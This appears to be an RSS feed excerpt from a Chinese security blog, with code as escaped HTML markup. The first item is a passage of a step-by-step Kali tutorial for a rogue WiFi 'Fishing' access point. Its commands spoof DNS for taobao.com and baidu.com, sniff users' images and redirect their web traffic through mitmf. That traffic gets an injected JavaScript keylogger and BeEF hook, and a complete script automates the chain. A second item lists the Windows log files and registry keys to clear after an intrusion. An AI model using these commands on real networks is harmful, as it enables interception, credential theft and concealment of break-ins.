iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;A FORWARD &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;p tcp &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;syn &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;s &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;j TCPMSS &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;kwd&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;mss &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;1356&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;com&quot;&gt;#修改最大报文段长度&lt;/span&gt;
注意那第三个命令调整MSS，不加后果很严重（我就一直死在这里）

（这里可能还是DNS错误，请看后文中的dns代理服务器搭建）

劫持DNS

工具：dnschef

过程：

&lt;span class=&quot;pln&quot;&gt;dnschef &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;i &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;nameserver &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;210.73&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;64.1&lt;/span&gt;&lt;span class=&quot;com&quot;&gt;#53&lt;/span&gt;
上述命令是以ip10.0.0.1（上文中的fakeap网关和DNS的ip）建立dns，对于所有请求转发到210.73.64.1进行解析。显然这只是个“代理”并没有劫持的功效

于是我们进化：

&lt;span class=&quot;pln&quot;&gt;dnschef &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;fakedomains&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;taobao&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;com&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;baidu&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;com &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;fakeip&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;i &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;nameserver &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;210.73&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;64.1&lt;/span&gt;&lt;span class=&quot;com&quot;&gt;#53&lt;/span&gt;
把淘宝和百度解析到本机了。

利用Kali进行WiFi钓鱼测试实战

当然可以把更多规则写在文件里：

利用Kali进行WiFi钓鱼测试实战

剩下的大家自由发挥吧。

p.s:这个和后文中mitmf冲突，mitmf识别http协议中的目的主机,进行转发,不受这个dns伪造影响。

图片嗅探

这是一个很好玩的功能

工具：driftnet

过程：

&lt;span class=&quot;pln&quot;&gt;driftnet &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;i at0&lt;/span&gt;
然后程序会打开一个小窗口显示所有传输的图片：

利用Kali进行WiFi钓鱼测试实战

单击图片保存到/

当然可以开启 Adjunct mode：

&lt;span class=&quot;pln&quot;&gt;driftnet &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;i at0 &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;a&lt;/span&gt;
直接保存图片并显示文件名。

利用Kali进行WiFi钓鱼测试实战

劫持Web流量

这个更好玩

工具：BEEF;mitmf;iptables

过程：

先把80端口的流量劫持走（这里10000是mitmf默认监听端口）

&lt;span class=&quot;pln&quot;&gt;iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t nat &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;A PREROUTING &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;p tcp &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;port &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;j REDIRECT &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;port &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10000&lt;/span&gt;
然后打开mitmf

&lt;span class=&quot;pln&quot;&gt;mitmf &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;i at0 &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;replace &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;str aaaaa  &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;str bbbbb&lt;/span&gt;&lt;span class=&quot;com&quot;&gt;#把所有网页中的aaaaa替换成bbbbb&lt;/span&gt;
利用Kali进行WiFi钓鱼测试实战

上图百度了aaaaa

好吧不要恶作剧了，上干货

&lt;span class=&quot;pln&quot;&gt;mitmf &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;i at0 &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;inject &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;js&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;url http&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;://&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;3000&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;hook&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;js &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;jskeylogger&lt;/span&gt;
mitmf在这里注入了js键盘记录器

利用Kali进行WiFi钓鱼测试实战

和beef的攻击测试脚本，其余的攻击方式（比如javapwn）可以参考http://www.freebuf.com/tools/45796.html

最后用BEEF测试用户浏览器吧！

&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;usr&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;share&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;beef&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;xss&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;beef&lt;/span&gt;
浏览器打开http://127.0.0.1:3000/ui/panel ，初始用户名和密码都是beef

利用Kali进行WiFi钓鱼测试实战

BEEF过于高深我还没玩得很清楚请大家自行探索。对了，不要忘了抓包

最后是我写的脚本

利用Kali进行WiFi钓鱼测试实战

&lt;span class=&quot;com&quot;&gt;#清空iptables&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t nat &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;F
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t nat &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;X  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t nat &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;P PREROUTING ACCEPT  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t nat &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;P POSTROUTING ACCEPT  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t nat &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;P OUTPUT ACCEPT  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t mangle &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;F  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t mangle &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;X  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t mangle &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;P PREROUTING ACCEPT  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t mangle &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;P INPUT ACCEPT  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t mangle &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;P FORWARD ACCEPT  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t mangle &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;P OUTPUT ACCEPT  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t mangle &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;P POSTROUTING ACCEPT  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;F  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;X  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;P FORWARD ACCEPT  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;P INPUT ACCEPT  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;P OUTPUT ACCEPT  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t raw &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;F  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t raw &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;X  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t raw &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;P PREROUTING ACCEPT  
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t raw &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;P OUTPUT ACCEPT  
&lt;/span&gt;&lt;span class=&quot;com&quot;&gt;#建立热点&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
airmon&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;ng stop mon0
ifconfig wlan1 down           &lt;/span&gt;&lt;span class=&quot;com&quot;&gt;#wlan1修改成你的网卡&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
iwconfig wlan1 mode monitor
ifconfig wlan1 up
airmon&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;ng start wlan1 &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
sleep &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;                  
gnome&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;terminal &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;x bash &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;c &lt;/span&gt;&lt;span class=&quot;str&quot;&gt;&quot;airbase-ng -e Fishing -c 11 mon0&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;com&quot;&gt;#按需求修改&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
sleep &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
ifconfig at0 up
ifconfig at0 &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; netmask &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;255.255&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;255.0&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
ifconfig at0 mtu &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;1400&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
route add &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;net &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.0&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; netmask &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;255.255&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;255.0&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; gw &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
echo &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;proc&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;ipv4&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;ip_forward
&lt;/span&gt;&lt;span class=&quot;com&quot;&gt;#配置dhcp&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
dhcpd &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;cf &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;etc&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;dhcp&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;dhcpd&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;conf &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;pf &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;dhcpd&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;pid at0
sleep &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;etc&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;isc&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;dhcp&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;server start 
&lt;/span&gt;&lt;span class=&quot;com&quot;&gt;#nat&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t nat &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;A POSTROUTING &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;o eth0 &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;j MASQUERADE
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;A FORWARD &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;i wlan1 &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;o eth0 &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;j ACCEPT
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;A FORWARD &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;p tcp &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;syn &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;s &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0.0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;j TCPMSS &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;kwd&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;mss &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;1356&lt;/span&gt;
&lt;span class=&quot;com&quot;&gt;#劫持80&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
iptables &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;t nat &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;A PREROUTING &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;p tcp &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;port &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;j REDIRECT &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;port &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;10000&lt;/span&gt;
&lt;span class=&quot;com&quot;&gt;#劫持dns&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
gnome&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;terminal &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;x bash &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;c &lt;/span&gt;&lt;span class=&quot;str&quot;&gt;&quot;dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53&quot;&lt;/span&gt;
 
&lt;span class=&quot;com&quot;&gt;#打开beef并进行80js键盘记录&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
gnome&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;terminal &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;x bash &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;c &lt;/span&gt;&lt;span class=&quot;str&quot;&gt;&quot;mitmf -i at0 --inject --js-url http://10.0.0.1:3000/hook.js --jskeylogger&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
beef&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;xss&lt;/span&gt;
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影搜集】清除入侵后的3个重要线索]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358825]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Wed, 23 Sep 2015 09:52:36 +0800]]></pubDate>
        <description><![CDATA[清理你入侵后的三个重要痕迹【邪影】
应用程序日志
安全日志
系统日志
邪影网安组http://xieying.wodemo.com
DNS日志默认位置：%systemroot%system32config，默认文件大小512KB，管理员都会改变这个默认大小。安全日志文件：%systemroot%system32configSecEvent.EVT
系统日志文件：%systemroot%system32configSysEvent.EVT
应用程序日志文件：%systemroot%system32configAppEvent.EVT
FTP日志默认位置：%systemroot%system32logfilesmsftpsvc1，默认每天一个
WWW日志默认位置：%systemroot%system32logfilesw3svc1，默认每天一个日志

以上日志在注册表里的键： 应用程序日志，安全日志，系统日志，DNS服务器日志，
它们这些LOG文件在注册表中的：
HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesEventlog

钥匙（表示成功）和锁（表示当用户在做什么时被系统停止）。接连四个锁图标，表示四次失败审核，事件类型是帐户登录和登录注销失败

